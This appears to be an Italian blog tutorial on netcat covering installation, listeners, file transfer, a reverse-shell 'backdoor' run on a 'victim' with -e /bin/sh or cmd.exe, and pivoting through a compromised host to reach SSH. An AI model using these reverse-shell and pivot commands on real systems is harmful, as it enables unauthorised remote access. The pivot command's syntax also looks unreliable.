Si lo so, è una descrizione trita e ritrita, ma è sinceramente quella che calza di più parlando di netcat. Per chi non lo conoscesse, ti tratta probabilmente del tool più flessibile in circolazione per ciò che concerne il networking.

Con netcat è possibile aprire un listener su una qualsiasi porta, e quindi configurare la propria macchina come un server, oppure aprire sessioni client verso altre macchina, effettuare port scanning, trasferire file. Come si dice in questi casi, il limite è solo la fantasia.

Netcat è presente per default in molte distribuzioni di linux, ma anche nei sistemi windows e proprio a causa della sua estrema versatilità molti amministratori di rete tendono a toglierlo. E’ uno strumento che, se usato in maniera malevola, può comportare la violazione delle policy aziendali inerenti il traffico di rete.

Come installare netcat

Se siete sotto linux è probabile che netcat sia già installato sulla vostra macchina, per verificarlo è sufficiente dare il comando “nc -h” da una shell e, se vi appaiono le informazioni di help allora avete già tutto quello che vi serve.

Se invece non lo avete è sufficiente dare i seguenti comandi dalla shell

sudo apt-get update
sudo apt-get install netcat

dopo aver eseguito la procedura di installazione sarete in grado di utilizzare netcat.

Per quello che riguarda windows è disponibile una versione a questo link.

Si tratta di una versione di netcat valida sia per ambienti 32 che 64 bit, anche se la versione a 64 bit non è stata testata molto e quindi non è consigliatissimo usarla.

Esempi d’utilizzo di netcat

A questo punto avete lo strumento pronto per l’uso, vediamo alcuni esempi. Supponiamo di voler avviare un listener sulla nostra macchina utilizzando la porta 3000 tcp. Il comando da dare sarà il seguente

nc -l -p 3000

Ma davvero è così semplice? Ebbene si, a questo punto la vostra macchina è in ascolto sulla porta tcp/3000. Se da una seconda macchina vogliamo collegarci al nostro nuovo server dovremo semplicemente dare il comando

nc 192.168.1.1 3000

ovviamente dovrete sostituire 192.168.1.1 con l’indirizzo del vostro server. Ora se provate a digitare qualcosa vedrete che quello che scrivete compare in tempo reale sullo schermo dell’altro peer… un po’ come se fosse una chat.

Ma questo è solo l’inizio. Supponiamo di voler trasferire un file usando netcat, ecco come fare.

Sulla macchina che riceverà il file scriviamo il seguente comando

nc -l -p 3000 > file.txt

mentre sulla macchina che invierà il file scriviamo:

nc 192.168.1.1 3000 < file.txt

Il file in questo caso viene trasferito dalla macchina client alla macchina server (ricordatevi sempre di sostituire l’indirizzo ip con quello che usate realmente).

Supponiamo di voler fare il percorso inverso, cioè di trasferire il file dalla macchina server alla macchina client.

sul server scriveremo:

cat file.txt | nc -l -p 3000

e sul client scriviamo:

nc 192.168.1.1 3000 > file.txt

In questo modo il trasferimento sarà dal server al client.

Ora iniziate a capire perchè netcat venga spesso disabilitato. Il trasferimento di file diventa estremamente facile, anche magari utilizzando porte che sappiamo essere aperte su firewall come ad esempio la tcp/80.

Ma non è tutto, netcat di permette di eseguire dei comandi una volta connessi, il che risulta essere molto utile quando ad esempio vogliamo creare una backdoor sulla macchina client (che sarebbe poi la nostra vittima).

Impostiamo il listener sul nostro server (o attacker)

nc -l -p 3000

attiviamo la backdoor sulla nostra macchina client (la vittima)

nc 192.168.1.1 -e /bin/sh

Nell’esempio abbiamo ipotizzato che la vittima sia una macchina linux, ma se dovesse trattarsi di una macchina windows è sufficiente sostituire /bin/sh con cmd.exe ed ecco fatto.

Ovviamente questo metodo non garantisce persistenza, non stiamo usando meterpreter, ma solamente un tool che ci consente di avere accesso praticamente immediato, tuttavia è possibile specificare il flag -k sulla macchina server in modo tale che, al cadere della connessione, il listener non venga interrotto.

Andiamo avanti con gli esempi ipotizzando di voler tunnelizzare un certo tipo di traffico all’interno di netcat. Lo scenario è il seguente: siamo riusciti ad avere accesso ad una macchina che può farci da ponte verso un server protetto, altrimenti non raggiungibile. Vogliamo collegarci al server di destinazione via SSH ma non possiamo farlo direttametne dalla nostra attacking machine, utilizziamo quindi una vittima intermedia che ci permetta di avere accesso. Ecco come fare:

sulla nostra macchina ponte diamo il comando

nc -l 192.168.1.10:22 -p 8080

questo comando fa in modo che, ad ogni connessione, il client venga immediatamente rediretto verso l’ip 192.168.1.10 sulla porta 22 (SSH).

a questo punto dalla nostra attacking machine diamo il comando

nc 192.168.1.1 8080

ed il gioco è fatto.

Sarebbe pratiacmente impossibile elencare tutti i possibili usi di netcat proprio perchè sono sostanzialmente infiniti. Il consiglio che posso dare è quello di ricavarsi un ambiente di test, possibilmente virtualizzato per risparmiare risorse, e provare a individuare usi sempre più smart… anzi.. se li trovate postate qualche commento qui, così li condividiamo!

Buon divertimento!

 

Rispondi

%d blogger hanno fatto clic su Mi Piace per questo: